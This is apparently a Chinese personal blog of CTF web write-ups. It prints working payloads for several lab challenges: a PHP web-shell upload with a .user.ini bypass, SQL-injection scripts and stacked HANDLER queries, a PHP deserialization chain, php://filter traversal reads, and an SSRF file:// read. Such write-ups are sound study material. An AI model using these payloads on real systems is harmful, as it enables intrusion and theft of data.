note-33

[SUCTF 2019]CheckIn

传正常图片提示里面有<?不给传,传码看看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /index.php HTTP/1.1
Host: 5f2a0c7d-2bd7-429f-8299-9f0f5b659699.node5.buuoj.cn:81
Content-Length: 407
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Origin: http://5f2a0c7d-2bd7-429f-8299-9f0f5b659699.node5.buuoj.cn:81
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryE46PLUBJtp0zgdcj
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://5f2a0c7d-2bd7-429f-8299-9f0f5b659699.node5.buuoj.cn:81/index.php
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

------WebKitFormBoundaryE46PLUBJtp0zgdcj
Content-Disposition: form-data; name="fileUpload"; filename="php.jpg"
Content-Type: image/jpg

<script language='php'>@eval($_POST[shell]);</script>
<script language='php'>system('cat /flag');</script>
------WebKitFormBoundaryE46PLUBJtp0zgdcj
Content-Disposition: form-data; name="upload"

提交
------WebKitFormBoundaryE46PLUBJtp0zgdcj--

提示:
exif_imagetype:not image!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
POST /index.php HTTP/1.1
Host: 5f2a0c7d-2bd7-429f-8299-9f0f5b659699.node5.buuoj.cn:81
Content-Length: 403
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Origin: http://5f2a0c7d-2bd7-429f-8299-9f0f5b659699.node5.buuoj.cn:81
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8mJUC80q1aGOXScd
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://5f2a0c7d-2bd7-429f-8299-9f0f5b659699.node5.buuoj.cn:81/index.php
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

------WebKitFormBoundary8mJUC80q1aGOXScd
Content-Disposition: form-data; name="fileUpload"; filename="php2.jpg"
Content-Type: image/jpg

FFD8FF
<script language='php'>@eval($_POST[shell]);</script>
<script language='php'>system('cat /flag');</script>
------WebKitFormBoundary8mJUC80q1aGOXScd
Content-Disposition: form-data; name="upload"

提交
------WebKitFormBoundary8mJUC80q1aGOXScd--

提示:
exif_imagetype:not image!

这次换个文件头:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
POST /index.php HTTP/1.1
Host: 5f2a0c7d-2bd7-429f-8299-9f0f5b659699.node5.buuoj.cn:81
Content-Length: 403
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Origin: http://5f2a0c7d-2bd7-429f-8299-9f0f5b659699.node5.buuoj.cn:81
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3I0b63Tc4FZzgA5s
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://5f2a0c7d-2bd7-429f-8299-9f0f5b659699.node5.buuoj.cn:81/index.php
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

------WebKitFormBoundary3I0b63Tc4FZzgA5s
Content-Disposition: form-data; name="fileUpload"; filename="php2.jpg"
Content-Type: image/jpg

GIF89a
<script language='php'>@eval($_POST[shell]);</script>
<script language='php'>system('cat /flag');</script>
------WebKitFormBoundary3I0b63Tc4FZzgA5s
Content-Disposition: form-data; name="upload"

提交
------WebKitFormBoundary3I0b63Tc4FZzgA5s--

回显

1
2
3
Your dir uploads/9987df285bb375eda68448315c5656e5
Your files :
array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) "index.php" [3]=> string(9) "php2.jpg" }

那目录就是
/uploads/9987df285bb375eda68448315c5656e5/php2.jpg
蚂蚁又是连不上,但是这次是nginx服务器啊,
那可能就是user.ini文件了
提交:

1
2
GIF89a
auto_prepend_file = php2.jpg

回显:

1
2
3
Your dir uploads/9987df285bb375eda68448315c5656e5
Your files :
array(5) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) ".user.ini" [3]=> string(9) "index.php" [4]=> string(9) "php2.jpg" }

这个.user.ini的大概用法是让目录下所有php文件包含上你指定的文件,看回显我上传的目录上是有一个index.php的,所以能用.user.ini的办法
蚂蚁连目录上的index.php即可
flag{e8b4a853-b79a-4497-912e-389a9fda03ba}

[GXYCTF2019]BabySQli

应该是sql题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
1'or(1=1);

回显:
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}

array(2) {
[0]=>
string(1) "2"
[1]=>
string(12) "miaomiaomiao"
}

array(2) {
[0]=>
string(6) "114514"
[1]=>
string(2) "ys"
}

怎么好像做过原题

1
2
3
4
5
6
7
8
9
10
1' union select 1,2,3#
回显:
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

1'and if(1=1,1,0)#
ok
这样的话,感觉用sqlmap都行啊
用了sqlmap默认,发现只能检索出数据库名
sumeqrq@i
会不会是@的问题?

算了自己写个脚本吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
import time
name=''
# for d in range(0,100):
# url = "http://708bd9b9-1fc7-485b-8d30-cf4721d3516a.node5.buuoj.cn:81/?inject=1%27and+length%28database%28%29%29%3D{}%23#".format(d)
# re = requests.get(url)
# print("testing",d)
# if 'hahahah' in re.text:
# print("数据库名长度为:",d)
# break
for d1 in range(1,11):
for dn in range(32,137):
time.sleep(0.07)
url = "http://708bd9b9-1fc7-485b-8d30-cf4721d3516a.node5.buuoj.cn:81/?inject=1%27and+ascii%28substr%28database%28%29%2C{}%2C1%29%29%3D{}%23#".format(d1,dn)
re = requests.get(url)
print("testing",d1,chr(dn),name)
if 'hahahah' in re.text:
name=name+chr(dn)
print(name)

跑出来是 supersqli
但是无法用select和where,也许可以试试预编译?
1’;prepare hack from concat(‘sele’,’ct’,’*‘);execute hack;@
prepare也过滤了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
1'and extractvalue(1,concat('!',database()))#
//error 1105 : XPATH syntax error: '!supersqli'

1'and extractvalue(1,concat('!',show tables name))#

1'and extractvalue(1,concat('!',@@dir))#

1'and extractvalue(1,concat('!',user()))#
//error 1105 : XPATH syntax error: '!root@localhost'

想用rename也被过滤了;

1';show databases;#

array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}

array(1) {
[0]=>
string(11) "ctftraining"
}

array(1) {
[0]=>
string(18) "information_schema"
}

array(1) {
[0]=>
string(5) "mysql"
}

array(1) {
[0]=>
string(18) "performance_schema"
}

array(1) {
[0]=>
string(9) "supersqli"
}

array(1) {
[0]=>
string(4) "test"
}


1';show tables from supersqli;#

array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}

array(1) {
[0]=>
string(8) "FlagHere"
}

array(1) {
[0]=>
string(5) "words"
}

1';show colums from FlagHere;#
不回显

1';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;
或者
1';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;
//flag{0bc2fe53-291d-4d3d-9a1c-adc6d658396e}

不说了,原题是2019网鼎杯 随便注,限制了重命名和预编译解法,但是能用handler,复制粘贴payload即可解。。。

[SWPUCTF 2021 新生赛]pop

以前的题,做了好久,看了一眼以前的wp,加上AreUSerialz,以后除了public类还是直接在原来的class里直接赋值的好,不然一直出问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php

error_reporting(0);
show_source("index.php");

class w44m{

private $admin = 'w44m';
protected $passwd = '08067';

public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}

class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}

class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}

$a=new w22m();
$a->w00m=new w33m();
$a->w00m->w00m=new w44m();
$a->w00m->w22m='Getflag';
echo urlencode(serialize($a));
?>

[BSidesCF 2020]Had a bad day

拿到题目,可以看到这能提供猫猫和狗狗的图片,随便选一个

1
/index.php?category=woofers

fuzz一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/index.php?category=woofers;ls

Warning: include(woofers;ls.php): failed to open stream: No such file or directory in /var/www/html/index.php on line 37
Warning: include(): Failed opening 'woofers;ls.php' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/index.php on line 37

/index.php?category=index

Sorry, we currently only support woofers and meowers.

/index.php?category=meowers;flag

Warning: include(meowers;flag.php): failed to open stream: No such file or directory in /var/www/html/index.php on line 37

Warning: include(): Failed opening 'meowers;flag.php' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/index.php on line 37

一般这种有include函数的可以试试伪协议,然后刚才就有站点目录了,试一下目录穿越看看flag是否在根目录
然后若是没有那个目录会返回:
Sorry, we currently only support woofers and meowers.

然后就是能用
php://filter/convert.base64-encode/resource=index
来返回index文件的base64
注意到源码里会自动给它加上.php

1
2
3
4
5
/index.php?category=php://filter/convert.base64-encode/resource=index.php

Warning: include(php://filter/convert.base64-encode/resource=index.php.php): failed to open stream: operation failed in /var/www/html/index.php on line 37

Warning: include(): Failed opening 'php://filter/convert.base64-encode/resource=index.php.php' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/index.php on line 37

到现在能想到的是想办法目录穿越到根目录下读取flag,

先是

1
/index.php?category=php://filter/convert.base64-encode/resource=index.php

拿到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="description" content="Images that spark joy">
<meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0">
<title>Had a bad day?</title>
<link rel="stylesheet" href="css/material.min.css">
<link rel="stylesheet" href="css/style.css">
</head>
<body>
<div class="page-layout mdl-layout mdl-layout--fixed-header mdl-js-layout mdl-color--grey-100">
<header class="page-header mdl-layout__header mdl-layout__header--scroll mdl-color--grey-100 mdl-color-text--grey-800">
<div class="mdl-layout__header-row">
<span class="mdl-layout-title">Had a bad day?</span>
<div class="mdl-layout-spacer"></div>
<div>
</header>
<div class="page-ribbon"></div>
<main class="page-main mdl-layout__content">
<div class="page-container mdl-grid">
<div class="mdl-cell mdl-cell--2-col mdl-cell--hide-tablet mdl-cell--hide-phone"></div>
<div class="page-content mdl-color--white mdl-shadow--4dp content mdl-color-text--grey-800 mdl-cell mdl-cell--8-col">
<div class="page-crumbs mdl-color-text--grey-500">
</div>
<h3>Cheer up!</h3>
<p>
Did you have a bad day? Did things not go your way today? Are you feeling down? Pick an option and let the adorable images cheer you up!
</p>
<div class="page-include">
<?php
$file = $_GET['category'];

if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")) //要有匹配的字符才能进到下一步的include函数
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
</div>
<form action="index.php" method="get" id="choice">
<center><button onclick="document.getElementById('choice').submit();" name="category" value="woofers" class="mdl-button mdl-button--colored mdl-button--raised mdl-js-button mdl-js-ripple-effect" data-upgraded=",MaterialButton,MaterialRipple">Woofers<span class="mdl-button__ripple-container"><span class="mdl-ripple is-animating" style="width: 189.356px; height: 189.356px; transform: translate(-50%, -50%) translate(31px, 25px);"></span></span></button>
<button onclick="document.getElementById('choice').submit();" name="category" value="meowers" class="mdl-button mdl-button--colored mdl-button--raised mdl-js-button mdl-js-ripple-effect" data-upgraded=",MaterialButton,MaterialRipple">Meowers<span class="mdl-button__ripple-container"><span class="mdl-ripple is-animating" style="width: 189.356px; height: 189.356px; transform: translate(-50%, -50%) translate(31px, 25px);"></span></span></button></center>
</form>

</div>
</div>
</main>
</div>
<script src="js/material.min.js"></script>
</body>
</html>

strpos()函数,匹配对应字符

1
2
3
http://512acbf5-c929-427e-aec6-d35d2e44994c.node5.buuoj.cn:81/flag.php

<!-- Can you read this flag? -->

页面未返回404,说明flag就在站点默认目录下,并且是.php后缀
加上提示,就需要读取flag.php源码,
所以解法是利用index.php?category=
里的include函数,使用伪协议编码读取flag.php的源码

1
2
3
index.php?category=php://filter/convert.base64-encode/resource=woofers/../flag

解码得到flag

notice php的include函数访问目录解析:

kimi:
PHP的include函数在解析文件路径时会进行路径标准化,会按文件路径中的../进行目录跳转,即使没有实际的woofers文件目录。

当woofers/../flag.php被传入并交给include函数时,PHP会将其解析为flag.php,因为在路径解析过程中,../会跳过前面的woofers目录,最终只剩下flag.php,这也就导致了没有woofers文件目录的情况下也能解析到flag.php。

为了防止这种情况,你应该对传入的文件名进行严格过滤和验证,避免包含目录跳转等特殊字符,只允许包含合法的文件名字符,确保传入的文件名符合预期的文件目录结构,并使用且绝对路径或限制目录范围等措施,来防止这种路径解析问题导致的安全风险。

q:
听不懂,意思../解析的优先级大吗?

kimi:
在路径解析中,../的作用是返回上一级目录,它不是优先级的问题,而是一个路径解析的逻辑。
路径解析的逻辑:

当 PHP 处理文件路径时,它是按照路径的逻辑来解析的。例如,对于路径woofers/../flag.php,PHP 会先看到woofers目录,然后遇到../,这意味着要回到上一级目录。最后,再访问flag.php文件。
这个过程可以类比于你在文件系统中手动导航目录。假设你当前在某个目录下,先进入woofers子目录,然后又返回上一级目录(通过../),此时你又回到了原来的位置,接着再访问flag.php文件。
所以,在路径解析中,../会改变当前路径的逻辑位置,而不管文件系统中实际的目录是否存在。

为什么没有woofers目录也能解析:

PHP 在解析路径时,并不是先检查路径中的每个目录是否存在,而是先按照路径的逻辑进行标准化处理。
在路径woofers/../flag.php中,woofers和../相互抵消,最终得到的路径是flag.php。PHP 会尝试去包含这个flag.php文件,不管前面的woofers目录是否存在。
这就好比你在数学中进行运算,5 + 3 - 3的结果是 5,中间的加和减操作是按照运算逻辑进行的,不管中间的数字是否代表实际存在的东西。
这种路径解析机制在 PHP 中是比较常见的,它允许灵活地引用文件,但也可能导致安全问题,如目录遍历攻击,这就是为什么需要对用户输入的文件名进行严格过滤和验证的原因。

我想大概意思就是会先解析完目录,再去访问目录是否存在,所以它是先解析完
woofers/../flag.php =
/flag
再去访问解析完的目录,而不会在解析时去访问woofers目录

[RoarCTF 2019]Easy Java

试了sql注入,点了hlep,然后试了一下常规的目录穿越,无果
用dirsearch扫出了/images 访问,404,
得到服务器信息:
Apache Tomcat/8.5.24 是一个基于java的服务端
直接访问了help.docx
http://420afca9-2c54-4dc1-9d86-cc41a97eb1bf.node5.buuoj.cn:81/help.docx
下载help.docx
里面只有:

1
Are you sure the flag is here? ? ?

web题就不考虑docx隐写啥的了

看wp:
https://blog.csdn.net/xhy18634297976/article/details/123117897
https://www.cnblogs.com/MrSoap/p/18356439

直接搬过来:
WEB-INF 是Java的WEB应用的安全目录。如果想在页面中直接访问其中的文件,必须通过web.xml文件对要访问的文件进行相应映射才能访问。

1
2
3
4
5
6
 WEB-INF主要包含以下文件或目录:
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件

web.xml里记有映射的文件,似乎是把url的请求映射到指定的编译号的java程序,class文件,可能和php文件差不多吧

https://www.cnblogs.com/MrSoap/p/18356439
说的很清楚了

漏洞成因:
https://blog.csdn.net/xhy18634297976/article/details/123117897

反正最后是用download文件下载了flagcontainer的class文件,应该就是程序的源码?
或者啥的
然后里面有base64的flag

这题如题,ez java
没接触过,不懂

.class 文件是什么

.class 文件是Java编译器生成的字节码文件,它包含了Java源代码编译后的二进制表示。Java虚拟机(JVM)可以直接执行这些字节码文件,而无需依赖特定的硬件平台或操作系统

[网鼎杯 2018]Fakebook

上来是一个登录和注册页面,说分享故事啥的
上来养成好习惯,先按f12看一下前端留有啥,
搜了一下flag和php,没发现有啥

那就用bp fuzz一下login界面
视乎无法注入

然后再join试了好多,都是blog is not valid
扫了一下服务器:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
[00:10:49] 301 -  185B  - /js  ->  http://22e4b823-f430-45fb-9de3-bc621615b379.node5.buuoj.cn/js/
[00:11:17] 404 - 571B - /.css
[00:11:37] 404 - 571B - /.gif
[00:11:57] 404 - 571B - /.ico
[00:12:06] 404 - 571B - /.jpeg
[00:12:06] 404 - 571B - /.jpg
[00:12:33] 404 - 571B - /.png
[00:16:13] 404 - 571B - /adm/style/admin.css
[00:17:30] 404 - 571B - /admin_my_avatar.png
[00:21:17] 301 - 185B - /css -> http://22e4b823-f430-45fb-9de3-bc621615b379.node5.buuoj.cn/css/
[00:21:28] 200 - 0B - /db.php
[00:22:15] 200 - 0B - /error.php
[00:22:32] 200 - 6KB - /favicon.ico
[00:22:42] 200 - 0B - /flag.php
[00:24:02] 403 - 571B - /js/
[00:24:35] 200 - 1KB - /login.php
[00:24:40] 404 - 571B - /logo.gif
[00:27:44] 404 - 571B - /resources/.arch-internal-preview.css
[00:27:49] 200 - 37B - /robots.txt
[00:28:36] 404 - 571B - /skin1_admin.css
[00:29:57] 200 - 0B - /user.php
[00:30:20] 200 - 1019B - /view.php

有robots.txt,里面提示有一个
user.php.bak
备份文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php


class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";

public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}

function get($url)
{
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);

return $output;
}

public function getBlogContents ()
{
return $this->get($this->blog);
}

public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}

}

给deepseek一看,它说有ssrf漏洞,还没接触过呢
然后也是看懂这个网站的逻辑了,就是你能注册姓名和账号,然后把你的blog链接挂上去
所以blog那栏必须是域名还得是二级域名啥的,

1
2
3
便尝试:
http://cd541869-c627-4baf-920d-2fd4728ad4f0.node5.buuoj.cn:81/flag.php
放上去当作blog链接

一次放我正常的blog链接,
一次放:
http://cd541869-c627-4baf-920d-2fd4728ad4f0.node5.buuoj.cn:81/flag.php

没思路,不知道怎么下手,找wp看吧

1
2
3
4
5
6
7
8
9
10
11
先访问
/view.php
得到

Notice: Undefined index: no in /var/www/html/view.php on line 24
[*] query error! (You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '' at line 1)


Fatal error: Call to a member function fetch_assoc() on boolean in /var/www/html/db.php on line 66

可以知道站点目录

看网上的wp(https://blog.csdn.net/MyZy_/article/details/143814939)方法就是:
先上传一个符合规则的信息,然后使用sql注入把信息中博客url改为本地访问flag.php
或者因为没过滤sql的file_load(),可以直接读取flag.php

那就先用自己的github地址注册一条信息
然后在/view.php?on=1中进行注入
然后发现现在的buuctf好像为了防止靶机变成肉鸡,不给出网了
那没办法,去nssctf上做吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
1'union<>select<>1,2,3--+
//不行

updatexml(1,concat(%27!%27,database()),1)--
//[*] query error! (XPATH syntax error: '!fakebook')

updatexml(1,concat(%27!%27,(select(group_concat(table_name))from(information_schema.tables))),1)--
//[*] query error! (XPATH syntax error: '!users,ALL_PLUGINS,APPLICABLE_RO')

updatexml(1,concat(%27!%27,(select(group_concat(column_name))from(information_schema.columns))),1)--
//[*] query error! (XPATH syntax error: '!no,username,passwd,data,PLUGIN_')

updatexml(1,concat(%27!%27,(select(group_concat(no,username,passwd,data))from(users))),1)--
//[*] query error! (XPATH syntax error: '!1zhong3c9909afec25354d551dae215')
//经典的报错注入回显不完全,这里的passwd应该是就是被加密过的,不然原密码是'123'
//注意看了一下网上的wp,好像过滤了'union select',使用'union/**/select'可以绕过

1 order by 4 --
//知道了行列为4

-1 union/**/select 1,2,3,4 --
//知道回显位置是2

-1 union/**/select 1,group_concat(no,"\n",username,"\n",passwd,"\n",data),3,4 from users --
//1 zhong
3c9909afec25354d551dae21590bb26e38d53f2173b8d3dc3eee4c047e7ab1c1eb8b85103e3be7ba613b31bb5c9c36214dc9f14a42fd7a2fdb84856bca5c44c2
O:8:"UserInfo":3:{s:4:"name";s:5:"zhong";s:3:"age";i:123;s:4:"blog";s:21:"http://gwwafz.online/";}

这是时候如wp说的,在data里构造一条读取本地flag的链接即可

1
-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"zhong";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}' from users --

网页会在blog的区域回显blog链接爬取到的页面,改为file://可以直接访问本地的flag.php源码,所以在f12中查看blog窗口元素即可看,可能是它这个题目的原因,正常的blog也无法显示
只能在源码查看了

解法二:
时用sql的load_file()函数,直接读取flag.php
注入时传入:

1
-1 union/**/select 1,load_file("/var/www/html/flag.php"),3,4 --+

notice

file:///
中是有3个/

还有,为什么传入sql语句
-1 union/**/select 1,2,3,’O:8:”UserInfo”:3:{s:4:”name”;s:5:”zhong”;s:3:”age”;i:123;s:4:”blog”;s:29:”file:///var/www/html/flag.php”;}’ from users –
就能访问到flag.php
首先select语句若是没有搜索到东西会自己变成自己添加的数据
所以-1没搜索到,会等于自己新建一条数据发给后端语句
原语句:

-1 union/**/select 1,2,3,’O:8:”UserInfo”:3:{s:4:”name”;s:5:”zhong”;s:3:”age”;i:123;s:4:”blog”;s:29:”file:///var/www/html/flag.php”;}’ from users –

传入db后db会处理好然后将结果返回语句,其中union select就相当于新建了一条sql查询结果返回

所以后端源码接收到的sql select 数据就为:

1,2,3,’O:8:”UserInfo”:3:{s:4:”name”;s:5:”zhong”;s:3:”age”;i:123;s:4:”blog”;s:29:”file:///var/www/html/flag.php”;}’

然后将其中data反序列化(看源码)后执行
其中1,2,3为另外3条column,改data那条column即可

然后刚才扫目录时发现了有个
db.php
可以猜测存在数据库,所以对no进行注入尝试

ssrf漏洞:
我觉得是
利用网站对外访问来进行攻击
比如这题有curl类的函数

看nssctf的标签有ssrf
第一次做ssrf的题目


note-33
https://aidemofashi.github.io/2025/05/07/note-33/
作者
aidemofashi
发布于
2025年5月7日
许可协议